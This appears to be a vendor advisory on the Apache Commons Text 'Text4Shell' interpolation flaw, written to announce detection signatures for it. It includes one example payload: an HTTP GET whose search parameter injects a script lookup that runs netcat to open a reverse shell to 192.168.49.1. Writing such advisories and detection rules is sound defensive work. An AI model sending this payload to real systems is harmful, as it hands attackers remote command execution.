Application Details
Apache Commons Text is a library focused on algorithms working on strings. It performs text operations such as escaping, calculating string differences, and substituting placeholders in text with values looked up through interpolators.
Vulnerability
Apache Commons Text could allow a remote attacker to execute arbitrary code on the system, caused by an insecure interpolation defaults flaw.
Identification
By sending a specially crafted input, an attacker could exploit this vulnerability to execute arbitrary code on the system. Below is an example of a possible payload:
GET /text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}Detection
By creating several traffic files and matching rules, we are able to detect attempts to perform variations of remote code execution on an affected system.
Coverage
Idappcom have created signatures 8023210-8023213 along with traffic files for this vulnerability.
